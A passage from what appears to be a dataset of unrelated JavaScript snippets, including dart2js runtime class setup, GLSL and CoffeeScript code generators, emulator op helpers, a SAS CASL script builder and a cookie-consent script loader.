properties = Object.keys(processedClasses.pending);\n for (var i = 0; i < properties.length; i++)\n finishClass(properties[i]);\n }\n function finishAddStubsHelper() {\n var prototype = this;\n while (!prototype.hasOwnProperty(\"$deferredAction\"))\n prototype = prototype.__proto__;\n delete prototype.$deferredAction;\n var properties = Object.keys(prototype);\n for (var index = 0; index < properties.length; index++) {\n var property = properties[index];\n var firstChar = property.charCodeAt(0);\n var elem;\n if (property !== \"^\" && property !== \"$reflectable\" && firstChar !== 43 && firstChar !== 42 && (elem = prototype[property]) != null && elem.constructor === Array && property !== \"<>\")\n addStubs(prototype, elem, property, false, []);\n }\n convertToFastObject(prototype);\n prototype = prototype.__proto__;\n prototype.$deferredAction();\n }\n function mixinDeferredActionHelper(mixinPrototype, targetPrototype) {\n var chain;\n if (targetPrototype.hasOwnProperty(\"$deferredAction\"))\n chain = targetPrototype.$deferredAction;\n return function foo() {\n var prototype = this;\n while (!prototype.hasOwnProperty(\"$deferredAction\"))\n prototype = prototype.__proto__;\n if (chain)\n prototype.$deferredAction = chain;\n else {\n delete prototype.$deferredAction;\n convertToFastObject(prototype);\n }\n mixinPrototype.$deferredAction();\n prototype.$deferredAction();\n };\n }\n function processClassData(cls, descriptor, processedClasses) {\n descriptor = convertToSlowObject(descriptor);\n var previousProperty;\n var properties = Object.keys(descriptor);\n var hasDeferredWork = false;\n var shouldDeferWork = supportsDirectProtoAccess && cls != \"Object\";\n for (var i = 0; i < properties.length; i++) {\n var property = properties[i];\n var firstChar = property.charCodeAt(0);\n if (property === \"static\") {\n processStatics(init.statics[cls] = descriptor.static, processedClasses);\n delete descriptor.static;\n } else if (firstChar === 43) {\n mangledNames[previousProperty] = property.substring(1);\n var flag = descriptor[property];\n if (flag > 0)\n descriptor[previousProperty].$reflectable = flag;\n } else if (firstChar === 42) {\n descriptor[previousProperty].$defaultValues = descriptor[property];\n var optionalMethods = descriptor.$methodsWithOptionalArguments;\n if (!optionalMethods)\n descriptor.$methodsWithOptionalArguments = optionalMethods = {};\n optionalMethods[property] = previousProperty;\n } else {\n var elem = descriptor[property];\n if (property !== \"^\" && elem != null && elem.constructor === Array && property !== \"<>\")\n if (shouldDeferWork)\n hasDeferredWork = true;\n else\n addStubs(descriptor, elem, property, false, []);\n else\n previousProperty = property;\n }\n }\n if (hasDeferredWork)\n descriptor.$deferredAction = finishAddStubsHelper;\n var classData = descriptor[\"^\"], split, supr, fields = classData;\n if (typeof classData == \"object\" && classData instanceof Array)\n classData = fields = classData[0];\n var s = fields.split(\";\");\n fields = s[1] ? s[1].split(\",\") : [];\n supr = s[0];\n split = supr.split(\":\");\n if (split.length == 2) {\n supr = split[0];\n var functionSignature = split[1];\n if (functionSignature)\n descriptor.$signature = function(s) {\n return function() {\n return init.types[s];\n };\n }(functionSignature);\n }\n if (supr)\n processedClasses.pending[cls] = supr;\n processedClasses.combinedConstructorFunction += defineClass(cls, fields);\n processedClasses.constructorsList.push(cls);\n processedClasses.collected[cls] = [globalObject, descriptor];\n classes.push(cls);\n }\n function processStatics(descriptor, processedClasses) {\n var properties = Object.keys(descriptor);\n for (var i = 0; i < properties.length; i++) {\n var property = properties[i];\n if (property === \"^\")\n continue;\n var element = descriptor[property];\n var firstChar = property.charCodeAt(0);\n var previousProperty;\n if (firstChar === 43) {\n mangledGlobalNames[previousProperty] = property.substring(1);\n var flag = descriptor[property];\n if (flag > 0)\n descriptor[previousProperty].$reflectable = flag;\n if (element && element.length)\n init.typeInformation[previousProperty] = element;\n } else if (firstChar === 42) {\n globalObject[previousProperty].$defaultValues = element;\n var optionalMethods = descriptor.$methodsWithOptionalArguments;\n if (!optionalMethods)\n descriptor.$methodsWithOptionalArguments = optionalMethods = {};\n optionalMethods[property] = previousProperty;\n } else if (typeof element === \"function\") {\n globalObject[previousProperty = property] = element;\n functions.push(property);\n init.globalFunctions[property] = element;\n } else if (element.constructor === Array)\n addStubs(globalObject, element, property, true, functions);\n else {\n previousProperty = property;\n processClassData(property, element, processedClasses);\n }\n }\n }\n function addStubs(prototype, array, name, isStatic, functions) {\n var index = 0, alias = array[index], f;\n if (typeof alias == \"string\")\n f = array[++index];\n else {\n f = alias;\n alias = name;\n }\n var funcs = [prototype[name] = prototype[alias] = f];\n f.$stubName = name;\n functions.push(name);\n for (index++; index < array.length; index++) {\n f = array[index];\n if (typeof f != \"function\")\n break;\n if (!isStatic)\n f.$stubName = array[++index];\n funcs.push(f);\n if (f.$stubName) {\n prototype[f.$stubName] = f;\n functions.push(f.$stubName);\n }\n }\n for (var i = 0; i < funcs.length; index++, i++)\n funcs[i].$callName = array[index];\n var getterStubName = array[index];\n array = array.slice(++index);\n var requiredParameterInfo = array[0];\n var requiredParameterCount = requiredParameterInfo >> 1;\n var isAccessor = (requiredParameterInfo & 1) === 1;\n var isSetter = requiredParameterInfo === 3;\n var isGetter = requiredParameterInfo === 1;\n var optionalParameterInfo = array[1];\n var optionalParameterCount = optionalParameterInfo >> 1;\n var optionalParametersAreNamed = (optionalParameterInfo & 1) === 1;\n var isIntercepted = requiredParameterCount + optionalParameterCount != funcs[0].length;\n var functionTypeIndex = array[2];\n if (typeof functionTypeIndex == \"number\")\n array[2] = functionTypeIndex + typesOffset;\n var unmangledNameIndex = 3 * optionalParameterCount + 2 * requiredParameterCount + 3;\n if (getterStubName) {\n f = tearOff(funcs, array, isStatic, name, isIntercepted);\n prototype[name].$getter = f;\n f.$getterStub = true;\n if (isStatic) {\n init.globalFunctions[name] = f;\n functions.push(getterStubName);\n }\n prototype[getterStubName] = f;\n funcs.push(f);\n f.$stubName = getterStubName;\n f.$callName = null;\n if (isIntercepted)\n init.interceptedNames[getterStubName] = 1;\n }\n var isReflectable = array.length > unmangledNameIndex;\n if (isReflectable) {\n funcs[0].$reflectable = 1;\n funcs[0].$reflectionInfo = array;\n for (var i = 1; i < funcs.length; i++) {\n funcs[i].$reflectable = 2;\n funcs[i].$reflectionInfo = array;\n }\n var mangledNames = isStatic ? init.mangledGlobalNames : init.mangledNames;\n var unmangledName = array[unmangledNameIndex];\n var reflectionName = unmangledName;\n if (getterStubName)\n mangledNames[getterStubName] = reflectionName;\n if (isSetter)\n reflectionName += \"=\";\n else if (!isGetter)\n reflectionName += \":\" + (requiredParameterCount + optionalParameterCount);\n mangledNames[name] = reflectionName;\n funcs[0].$reflectionName = reflectionName;\n funcs[0].$metadataIndex = unmangledNameIndex + 1;\n if (optionalParameterCount)\n prototype[unmangledName + \"*\"] = funcs[0];\n }\n }\n function tearOffGetter(funcs, reflectionInfo, name, isIntercepted) {\n return isIntercepted ? new Function(\"funcs\", \"reflectionInfo\", \"name\", \"H\", \"c\", \"return function tearOff_\" + name + functionCounter++ + \"(x) {\" + \"if (c === null) c = \" + \"H.closureFromTearOff\" + \"(\" + \"this, funcs, reflectionInfo, false, [x], name);\" + \"return new c(this, funcs[0], x, name);\" + \"}\")(funcs, reflectionInfo, name, H, null) : new Function(\"funcs\", \"reflectionInfo\", \"name\", \"H\", \"c\", \"return function tearOff_\" + name + functionCounter++ + \"() {\" + \"if (c === null) c = \" + \"H.closureFromTearOff\" + \"(\" + \"this, funcs, reflectionInfo, false, [], name);\" + \"return new c(this, funcs[0], null, name);\" + \"}\")(funcs, reflectionInfo, name, H, null);\n }\n function tearOff(funcs, reflectionInfo, isStatic, name, isIntercepted) {\n var cache;\n return isStatic ? function() {\n if (cache === void 0)\n cache = H.closureFromTearOff(this, funcs, reflectionInfo, true, [], name).prototype;\n return cache;\n } : tearOffGetter(funcs, reflectionInfo, name, isIntercepted);\n }\n var functionCounter = 0;\n if (!init.libraries)\n init.libraries = [];\n if (!init.mangledNames)\n init.mangledNames = map();\n if (!init.mangledGlobalNames)\n init.mangledGlobalNames = map();\n if (!init.statics)\n init.statics = map();\n if (!init.typeInformation)\n init.typeInformation = map();\n if (!init.globalFunctions)\n init.globalFunctions = map();\n if (!init.interceptedNames)\n init.interceptedNames = {set$_children: 1, set$_rows: 1, set$action: 1, set$attributes: 1, set$binaryType: 1, set$bottom: 1, set$buffer: 1, set$children: 1, set$connection: 1, set$data: 1, set$defaultValue: 1, set$detail: 1, set$duration: 1, set$error: 1, set$height: 1, set$left: 1, set$length: 1, set$lengthInBytes: 1, set$list: 1, set$loaded: 1, set$max: 1, set$message: 1, set$min: 1, set$mode: 1, set$name: 1, set$nodes: 1, set$nonce: 1, set$offsetInBytes: 1, set$onClose: 1, set$parent: 1, set$parentNode: 1, set$path: 1, set$print: 1, set$readyState: 1, set$request: 1, set$response: 1, set$responseText: 1, set$result: 1, set$right: 1, set$rows: 1, set$status: 1, set$stream: 1, set$text: 1, set$top: 1, set$type: 1, set$value: 1, set$values: 1, set$version: 1, set$width: 1, get$_children: 1, get$_rows: 1, get$action: 1, get$attributes: 1, get$bottom: 1, get$buffer: 1, get$children: 1, get$codeUnits: 1, get$connection: 1, get$data: 1, get$defaultValue: 1, get$detail: 1, get$duration: 1, get$error: 1, get$first: 1, get$hashCode: 1, get$height: 1, get$host: 1, get$isEmpty: 1, get$isFinite: 1, get$isNaN: 1, get$isNotEmpty: 1, get$iterator: 1, get$keys: 1, get$last: 1, get$left: 1, get$length: 1, get$lengthInBytes: 1, get$list: 1, get$loaded: 1, get$max: 1, get$message: 1, get$min: 1, get$mode: 1, get$name: 1, get$nodes: 1, get$nonce: 1, get$offsetInBytes: 1, get$onClose: 1, get$onDisconnect: 1, get$onError: 1, get$onMessage: 1, get$onOpen: 1, get$parent: 1, get$parentNode: 1, get$path: 1, get$port: 1, get$print: 1, get$readyState: 1, get$request: 1, get$response: 1, get$responseText: 1, get$result: 1, get$right: 1, get$rows: 1, get$runtimeType: 1, get$single: 1, get$status: 1, get$stream: 1, get$top: 1, get$type: 1, get$value: 1, get$values: 1, get$version: 1, get$width: 1, $add: 1, $and: 1, $eq: 1, $ge: 1, $gt: 1, $index: 1, $indexSet: 1, $le: 1, $lt: 1, $mod: 1, $mul: 1, $negate: 1, $not: 1, $shl: 1, $shr: 1, $sub: 1, $tdiv: 1, $xor: 1, _addEventListener$3: 1, _checkPosition$2: 1, _checkSublistArguments$3: 1, _clear$0: 1, _clearChildren$0: 1, _invalidPosition$2: 1, _removeEventListener$3: 1, _replaceChild$2: 1, _setRangeFast$4: 1, _shlPositive$1: 1, _shrOtherPositive$1: 1, _shrReceiverPositive$1: 1, _tdivFast$1: 1, add$1: 1, add$4: 1, addAll$1: 1, addEventListener$3: 1, allMatches$1: 1, allMatches$2: 1, asByteData$2: 1, asUint8List$0: 1, asUint8List$2: 1, checkGrowable$1: 1, checkMutable$1: 1, clear$0: 1, close$0: 1, close$1: 1, close$2: 1, codeUnitAt$1: 1, complete$0: 1, complete$1: 1, contains$1: 1, contains$2: 1, containsKey$1: 1, defaultValue$1: 1, elementAt$1: 1, endsWith$1: 1, forEach$1: 1, getAttribute$1: 1, getFloat32$1: 1, getFloat32$2: 1, getFloat64$1: 1, getFloat64$2: 1, getInt16$1: 1, getInt16$2: 1, getInt32$1: 1, getInt32$2: 1, getInt64$1: 1, getInt64$2: 1, getInt8$1: 1, getRange$2: 1, getUint16$1: 1, getUint16$2: 1, getUint32$1: 1, getUint32$2: 1, getUint64$1: 1, getUint64$2: 1, getUint8$1: 1, indexOf$1: 1, indexOf$2: 1, insertBefore$1: 1, join$1: 1, lastIndexOf$1: 1, lastIndexOf$2: 1, list$1: 1, load$1: 1, map$1: 1, matchAsPrefix$2: 1, noSuchMethod$1: 1, onDisconnect$0: 1, onError$1: 1, open$3$async: 1, open$5$async$password$user: 1, pause$0: 1, pause$1: 1, print$0: 1, print$1: 1, print$2: 1, putIfAbsent$2: 1, remainder$1: 1, remove$0: 1, remove$1: 1, removeEventListener$3: 1, removeRange$2: 1, replaceAll$2: 1, replaceRange$3: 1, replaceWith$1: 1, round$0: 1, send$1: 1, send$2: 1, sendByteBuffer$1: 1, sendString$1: 1, setAll$2: 1, setAttribute$4: 1, setFloat32$2: 1, setFloat32$3: 1, setFloat64$2: 1, setFloat64$3: 1, setInt16$2: 1, setInt16$3: 1, setInt32$2: 1, setInt32$3: 1, setInt64$2: 1, setInt64$3: 1, setInt8$2: 1, setRange$3: 1, setRange$4: 1, setUint16$2: 1, setUint16$3: 1, setUint32$2: 1, setUint32$3: 1, setUint64$2: 1, setUint64$3: 1, setUint8$2: 1, split$1: 1, startsWith$1: 1, startsWith$2: 1, sublist$1: 1, sublist$2: 1, substring$1: 1, substring$2: 1, take$1: 1, timeout$1: 1, timeout$2$onTimeout: 1, toInt$0: 1, toList$0: 1, toList$1$growable: 1, toRadixString$1: 1, toString$0: 1, trim$0: 1, where$1: 1};\n var libraries = init.libraries;\n var mangledNames = init.mangledNames;\n var mangledGlobalNames = init.mangledGlobalNames;\n var hasOwnProperty = Object.prototype.hasOwnProperty;\n var length = programData.length;\n var processedClasses = map();\n processedClasses.collected = map();\n processedClasses.pending = map();\n processedClasses.constructorsList = [];\n processedClasses.combinedConstructorFunction = \"function $reflectable(fn){fn.$reflectable=1;return fn};\\n\" + \"var $desc;\\n\";\n for (var i = 0; i < length; i++) {\n var data = programData[i];\n var name = data[0];\n var uri = data[1];\n var metadata = data[2];\n var globalObject = data[3];\n var descriptor = data[4];\n var isRoot = !!data[5];\n var fields = descriptor && descriptor[\"^\"];\n if (fields instanceof Array)\n fields = fields[0];\n var classes = [];\n var functions = [];\n processStatics(descriptor, processedClasses);\n libraries.push([name, uri, classes, functions, metadata, fields, isRoot, globalObject]);\n }\n finishClasses(processedClasses);\n }", "createTypes(){\n }", "function handleMemberExpression(codeGen, node, sb) {\n let data = {};\n let object = node;\n\n //traverse object structure until object.type === Identifier or object is undefined\n while (typeof object !== 'undefined' && object.type !== 'Identifier') {\n object = object.object;\n }\n\n if (typeof object === 'undefined') {\n let tmp = [];\n setTransformationRequest(codeGen,'memberExpression',data);\n codeGen.handleType(node, tmp);\n deleteTransformationRequest(codeGen,'memberExpression');\n let result = tmp.join('').replaceAll('this.thread.x', 'vKernelX');\n result = result.replaceAll('this.thread.y', 'vKernelY');\n return sb.push(result);\n }\n\n //make sure that variable has been declared\n if (!hasBeenDeclared(codeGen, object.name)) {\n throw formatThrowMessage(object, object.name + \" has not been declared\");\n }\n data.name = object.name;\n data.properties = [];\n\n //due to setting a transformation request, data will contain all properties after handling type\n setTransformationRequest(codeGen,'memberExpression',data)\n codeGen.handleType(node, []);\n deleteTransformationRequest(codeGen,'memberExpression');//remove transformation request\n\n //set name of glsl function\n sb.push('readTexture');\n sb.push('(');\n\n /**\n * This will turn a 1D array access into a 2D array access\n */\n if (data.properties.length == 1){\n data.properties.unshift('0');\n }\n\n //set parameters of function\n for (let i = 0; i < data.properties.length; i++) {\n data.properties[i] = data.properties[i].replaceAll('this.thread.x', 'vKernelX');\n data.properties[i] = data.properties[i].replaceAll('this.thread.y', 'vKernelY');\n sb.push(data.properties[i]);\n if (i + 1 < data.properties.length) {\n sb.push(',');\n }\n }\n\n if (data.properties.length > 0) {\n sb.push(',');\n if (isMainFunction(codeGen)) {\n sb.push('uSampler_' + getFunctionName(codeGen) + \"_\" + data.name + \"_width\");\n } else {\n sb.push('sampler_' + data.name + \"_width\");\n }\n\n }\n if (data.properties.length > 1) {\n sb.push(',');\n if (isMainFunction(codeGen)) {\n sb.push('uSampler_' + getFunctionName(codeGen) + \"_\" + data.name + \"_height\");\n } else {\n sb.push('sampler_' + data.name + \"_height\");\n }\n }\n if (data.properties.length > 0) {\n sb.push(',');\n if (isMainFunction(codeGen)) {\n sb.push('uSampler_' + getFunctionName(codeGen) + \"_\" + data.name);\n } else {\n sb.push('sampler_' + data.name);\n }\n\n }\n sb.push(')');\n}", "function vc(a){this.methodName=a}", "function Compiler() {\n}", "compose() {\n this.composeWith(`${_consts.GENERATOR_NAME}:${_consts.SUB_GEN_LAMBDA}`);\n }", "function CreateClosure(context) {\n function Method() {\n return context;\n }\n return Method;\n}", "function Sub() {}", "function gen_op_bfi_T1_T0(param1, param2)\n{\n //gen_opparam_ptr.push(param1);\n //gen_opparam_ptr.push(param2);\n gen_opc_ptr.push({func:op_bfi_T1_T0, param:param1, param2: param2});\n}", "function genM() {\n \"use strict\";\n return function () {\n return this.field;\n };\n}", "function Proc() {}", "compileClosure(o) {\r\n\t\t\t\t\tvar args, argumentsNode, func, meth, parts, ref1, ref2;\r\n\t\t\t\t\tthis.checkForPureStatementInExpression();\r\n\t\t\t\t\to.sharedScope = true;\r\n\t\t\t\t\tfunc = new Code([], Block.wrap([this]));\r\n\t\t\t\t\targs = [];\r\n\t\t\t\t\tif (this.contains((function(node) {\r\n\t\t\t\t\t\treturn node instanceof SuperCall;\r\n\t\t\t\t\t}))) {\r\n\t\t\t\t\t\tfunc.bound = true;\r\n\t\t\t\t\t} else if ((argumentsNode = this.contains(isLiteralArguments)) || this.contains(isLiteralThis)) {\r\n\t\t\t\t\t\targs = [new ThisLiteral()];\r\n\t\t\t\t\t\tif (argumentsNode) {\r\n\t\t\t\t\t\t\tmeth = 'apply';\r\n\t\t\t\t\t\t\targs.push(new IdentifierLiteral('arguments'));\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tmeth = 'call';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tfunc = new Value(func, [new Access(new PropertyName(meth))]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tparts = (new Call(func, args)).compileNode(o);\r\n\t\t\t\t\tswitch (false) {\r\n\t\t\t\t\t\tcase !(func.isGenerator || ((ref1 = func.base) != null ? ref1.isGenerator : void 0)):\r\n\t\t\t\t\t\t\tparts.unshift(this.makeCode(\"(yield* \"));\r\n\t\t\t\t\t\t\tparts.push(this.makeCode(\")\"));\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase !(func.isAsync || ((ref2 = func.base) != null ? ref2.isAsync : void 0)):\r\n\t\t\t\t\t\t\tparts.unshift(this.makeCode(\"(await \"));\r\n\t\t\t\t\t\t\tparts.push(this.makeCode(\")\"));\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn parts;\r\n\t\t\t\t}", "function MakeComplex() {\r\n}", "function codeMaker() {\n code = [];\n var start;\n for (let i = 0; i < codeBoxArr.length; ++i) {\n if (codeBoxArr[i][2] == 'f') {\n start = i;\n let tmp = codeBoxArr[i];\n code.push(['s', tmp[1].value, tmp[3]]);\n break;\n }\n }\n for (let i = 0; i < start; ++i) {\n let tmp = codeBoxArr[i];\n let line = [tmp[2], tmp[1].value];\n if (tmp[3] != undefined) {\n line.push(tmp[3]);\n if (tmp[4] != undefined) {\n line.push(tmp[4]);\n }\n } else {\n line[0] = 'e';\n }\n code.push(line);\n }\n for (let i = start + 1; i < codeBoxArr.length; ++i) {\n let tmp = codeBoxArr[i];\n let line = [tmp[2], tmp[1].value];\n if (tmp[3] != undefined) {\n line.push(tmp[3]);\n if (tmp[4] != undefined) {\n line.push(tmp[4]);\n }\n } else {\n line[0] = 'e';\n }\n code.push(line);\n }\n return code;\n}", "function gen_op_test_vc(param1)\n{\n //gen_opparam_ptr.push(param1);\n gen_opc_ptr.push({func:op_test_vc, param: param1});\n}", "function codeGenerator(node) {\n\n switch(node.type) {\n case 'Program': \n return node.body.map(codeGenerator).join('\\n')\n case 'ExpressionStatement':\n return codeGenerator(node.expression) + ';'\n case 'CallExpression':\n return codeGenerator(node.callee) + '(' + node.arguments.map(codeGenerator) + ')'\n case 'Identifier':\n return node.name\n case 'NumberLiteral':\n return node.value\n case 'StringLiteral':\n return node.value\n default:\n throw new TypeError('dont know type')\n }\n\n}", "function create_concrete_invoke(f) {\n return function() {\n var len = arguments.length;\n for (var i = 0; i<len; i++) {\n arguments[i] = pc.concretize(initUndefinedNumber(getSingle(arguments[i])));\n }\n return f.apply(pc.concretize(initUndefinedString(getSingle(this))),arguments);\n }\n }", "function genCode(objType,appEnv,rowData){var columns=Object.keys(rowData);var pgm=Object(_optCode__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(objType,appEnv);var caslStatements=\"\\n\\n\\taction table.dropTable/\\n\\t\\tcaslib='\".concat(appEnv.WORKLIBNAME,\"' name='\").concat(appEnv.OUTPUTMASTERTABLENAME,\"' quiet=TRUE;\\n\\n\\ttable.save /\\n\\t\\tcaslib='\").concat(appEnv.WORKLIBNAME,\"'\\n\\t\\tname='\").concat(appEnv.OPTABLENAME,\"'\\n\\t\\ttable='\").concat(appEnv.OPTABLENAME,\"'\\n\\t\\treplace=TRUE;\\n\\n\\ttable.loadTable /\\n\\t\\tcasOut={\\n\\t\\tname=\\\"model\\\",\\n\\t\\treplace=TRUE}\\n\\t\\tcaslib='\").concat(appEnv.WORKLIBNAME,\"'\\n\\t\\tpath=\\\"MODEL.sashdat\\\";\\n\\n\\ttable.loadTable /\\n\\t\\tcasOut={\\n\\t\\tname=\\\"model_weights\\\",\\n\\t\\treplace=TRUE}\\n\\t\\tcaslib='\").concat(appEnv.WORKLIBNAME,\"'\\n\\t\\tpath=\\\"MODEL_WEIGHTS.sashdat\\\";\\n\\n\\ttable.loadTable /\\n\\t\\tcasOut={\\n\\t\\tname=\\\"model_weights_attr\\\",\\n\\t\\treplace=TRUE}\\n\\t\\tcaslib='\").concat(appEnv.WORKLIBNAME,\"'\\n\\t\\tpath=\\\"MODEL_WEIGHTS_ATTR.sashdat\\\";\\n\\n\\ttable.attribute /\\n\\t name=\\\"model_weights\\\"\\n\\t table=\\\"model_weights_attr\\\";\\n\\n\\tloadactionset 'deepLearn';\\n\\tdeepLearn.dlScore table={name='\").concat(appEnv.OPTABLENAME,\"'} initWeights={name=\\\"model_weights\\\"}\\n\\t modelTable={name=\\\"model\\\"}\\n\\t\\tcopyVars={'Horizon', 'StartUpDelay', 'Site1StartUpDelay', 'Site1IDDelay', 'Site1Capacity', 'Site2StartUpDelay', 'Site2IDDelay', 'Site2Capacity', 'Site3StartUpDelay', 'Site3IDDelay', 'Site3Capacity', 'Site4StartUpDelay', 'Site4IDDelay', 'Site4Capacity', 'Site5StartUpDelay', 'Site5IDDelay', 'Site5Capacity', 'Site6StartUpDelay', 'Site6IDDelay', 'Site6Capacity', 'Site7StartUpDelay', 'Site7IDDelay', 'Site7Capacity', 'Site8StartUpDelay', 'Site8IDDelay', 'Site8Capacity', 'Site9StartUpDelay', 'Site9IDDelay', 'Site9Capacity', 'Site10StartUpDelay', 'Site10IDDelay', 'Site10Capacity', 'Site1Interarrival', 'Site2Interarrival', 'Site3Interarrival', 'Site4Interarrival', 'Site5Interarrival', 'Site6Interarrival', 'Site7Interarrival', 'Site8Interarrival', 'Site9Interarrival', 'Site10Interarrival', 'Site1ScreenFailP', 'Site2ScreenFailP', 'Site3ScreenFailP', 'Site4ScreenFailP', 'Site5ScreenFailP', 'Site6ScreenFailP', 'Site7ScreenFailP', 'Site8ScreenFailP', 'Site9ScreenFailP', 'Site10ScreenFailP'}\\n\\t\\tcasout={name='\").concat(appEnv.OUTPUTMASTERTABLENAME,\"', caslib='\").concat(appEnv.INPUTLIBNAME,\"', replace=TRUE};\\n\\n\\n\\n\\taction table.save /\\n\\t\\tcaslib = '\").concat(appEnv.INPUTLIBNAME,\"'\\n\\t\\tname = '\").concat(appEnv.OUTPUTMASTERTABLENAME,\"'\\n\\t\\treplace = TRUE\\n\\t\\ttable= {\\n\\t\\t\\tcaslib = '\").concat(appEnv.INPUTLIBNAME,\"'\\n\\t\\t\\tname = '\").concat(appEnv.OUTPUTMASTERTABLENAME,\"'\\n\\t\\t};\\n\\n\\n\\n\\taction table.fetch r=result / to= 1000\\n\\t\\t\\t\\tfetchVars={'_DL_Pred_','Horizon'}\\n\\t\\t\\t\\ttable= {\\n\\t\\t\\t\\t\\tcaslib = '\").concat(appEnv.INPUTLIBNAME,\"'\\n\\t\\t\\t\\t\\tname = '\").concat(appEnv.OUTPUTMASTERTABLENAME,\"'\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\trun;\\n\\n\\n\\n\\tr = {A= result};\\n\\tsend_response( r) ;\\n\\trun;\\n\\n\\t\");return caslStatements;}", "function genfunc(nvar, nconst, gencsprop, avoidmputobj) {\n var res = [];\n var i;\n\n res.push('(function test(arg1) {');\n\n // arg1 eats one registers, variables eat a register each\n for (i = 0; i < nvar; i++) {\n res.push(' var v' + i + ';');\n }\n\n // each constant eats a constant index\n for (i = 0; i < nconst; i++) {\n res.push(' v0 = \"tempstr' + i + '\";');\n }\n\n // generate a CSPROP(I)\n if (gencsprop) {\n if (avoidmputobj) {\n res.push(' v' + (nvar - 1) + ' = Object.create(Object.prototype);');\n res.push(' v' + (nvar - 1) + '.fn = function() { return \"csprop return\"; };');\n } else {\n res.push(' v' + (nvar - 1) + ' = { fn: function() { return \"csprop return\"; } };');\n }\n res.push(' void v' + (nvar - 1) + '.fn();');\n }\n\n res.push(' return arg1;');\n res.push('})');\n return res.join('\\n');\n}", "function addItem(method, ...args) {\n if (method == 'dropdown') {\n genDropDown(...args);\n } else if (method == 'shortinput') {\n genShortInput(...args);\n } else if (method == 'checkbox') {\n genCheckbox(...args);\n } else if (method == 'separator') {\n genSeparator(...args);\n }\n}", "function gen_op_bicl_T0_T1()\n{\n gen_opc_ptr.push({func:op_bicl_T0_T1});\n}", "function Generator() {\n // YOUR CODE HERE\n}", "function Generator() {\n // YOUR CODE HERE\n}", "static generateCode() {\n let parserSource = parser.generate();\n return parserSource;\n }", "function CodeGeneratorGui(copyOne,copyTwo,copyThree,copyFour,copyFive,copySix,copySeven,copyEight){\n this.copyOne=copyOne;\n this.copyTwo=copyTwo;\n this.copyThree=copyThree;\n this.copyFour=copyFour;\n this.copyFive=copyFive;\n this.copySix=copySix;\n this.copySeven=copySeven;\n this.copyEight=copyEight;\n\n\n}", "MakeGenericMethod() {\n\n }", "execute_function(data_received){\n\t\tif(this.functions_dictionary.hasOwnProperty(data_received['type']))\n\t\t\tthis.functions_dictionary[data_received['type']](data_received)\n\t\telse\n\t\t\tconsole.log(data_received['type']+' not recognized as a function')\n\t}", "function createMethod(name, fn) {\n\t\t\treturn function() {\n\t\t\t\tvar self = this, tmp = self._super, ret;\n\n\t\t\t\tself._super = _super[name];\n\t\t\t\tret = fn.apply(self, arguments);\n\t\t\t\tself._super = tmp;\n\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}", "function createMethod(name, fn) {\n\t\t\treturn function() {\n\t\t\t\tvar self = this, tmp = self._super, ret;\n\n\t\t\t\tself._super = _super[name];\n\t\t\t\tret = fn.apply(self, arguments);\n\t\t\t\tself._super = tmp;\n\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}", "function createMethod(name, fn) {\n\t\t\treturn function() {\n\t\t\t\tvar self = this, tmp = self._super, ret;\n\n\t\t\t\tself._super = _super[name];\n\t\t\t\tret = fn.apply(self, arguments);\n\t\t\t\tself._super = tmp;\n\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}", "function gen_op_bx_T0()\n{\n gen_opc_ptr.push({func:op_bx_T0});\n}", "function gen_op_test_mi(param1)\n{\n //gen_opparam_ptr.push(param1);\n gen_opc_ptr.push({func:op_test_mi, param:param1});\n}", "function clientCode3(abstractClass) {\n // ...\n abstractClass.templateMethod();\n // ...\n}", "function gen_op_logic_T1_cc()\n{\n gen_opc_ptr.push({func:op_logic_T1_cc});\n}", "function createRuntimeFunction(method, key, {\n documentation,\n type\n}) {\n return (registry, metaVersion) => createFunction(registry, {\n meta: {\n documentation: registry.createType('Vec<Text>', [documentation]),\n modifier: registry.createType('StorageEntryModifierLatest', 1),\n // required\n toJSON: () => key,\n type: registry.createType('StorageEntryTypeLatest', type, 0)\n },\n method,\n prefix: 'Substrate',\n section: 'substrate'\n }, {\n key,\n metaVersion,\n skipHashing: true\n });\n}", "createScriptCode(data) {\n\n let cookieArray = [];\n\n if(data !== null){\n if(data instanceof Map){\n data = JSON.stringify(Array.from(data));\n }\n cookieArray = JSON.parse(data); //given per function parameter\n }\n\n const scriptArray = this.cookieBannerScripts; //available values from yaml\n\n if(cookieArray.length > 0 && scriptArray.length > 0){\n for(let i = 0; i < cookieArray.length; i++) {\n const cookieScriptTitleEncoded = cookieArray[i][0];\n const cookieScriptTitle = decodeURIComponent(cookieScriptTitleEncoded);\n if(scriptArray.length > 0 && cookieScriptTitle !== '' ) {\n for(let x = 0; x < scriptArray.length; x++) {\n if (scriptArray[x].script_title === cookieScriptTitle) {\n if(scriptArray[x].script_codes){\n const codes = scriptArray[x].script_codes;\n for(let y = 0; y < codes.length; y++) {\n this.createCodeTag(codes[y], cookieScriptTitleEncoded, cookieScriptTitle);\n }\n }\n }\n }\n }\n }\n }\n }", "function gen_op_bkpt()\n{\n gen_opc_ptr.push({func:op_bkpt});\n}", "function subGen(generatorType) {\n var _scope = _.extend({}, _.cloneDeep(scope), {\n generatorType: generatorType\n });\n return function(_cb) {\n sailsgen(_scope, {\n success: function() {\n\n // console.log(scope);\n\n // Infer the `outputPath` if necessary/possible.\n if (!_scope.outputPath && _scope.filename && _scope.destDir) {\n _scope.outputPath = _scope.destDir + _scope.filename;\n }\n\n // Humanize the output path\n var humanizedPath;\n if (_scope.outputPath) {\n humanizedPath = ' at ' + _scope.outputPath;\n }\n else if (_scope.destDir) {\n humanizedPath = ' in ' + _scope.destDir;\n }\n else {\n humanizedPath = '';\n }\n\n // Humanize the module identity\n var humanizedId;\n if (_scope.id) {\n humanizedId = util.format(' (\"%s\")',_scope.id);\n }\n else humanizedId = '';\n\n cb.log.info(util.format(\n 'Created a new %s%s%s!',\n _scope.generatorType, humanizedId, humanizedPath\n ));\n return _cb();\n },\n error: function(err) {\n cb.error(err);\n return _cb(err);\n },\n invalid: 'error'\n });\n };\n }", "function generateFunction(ctx){\n const stackSize = (Object.keys(ctx.params).length + 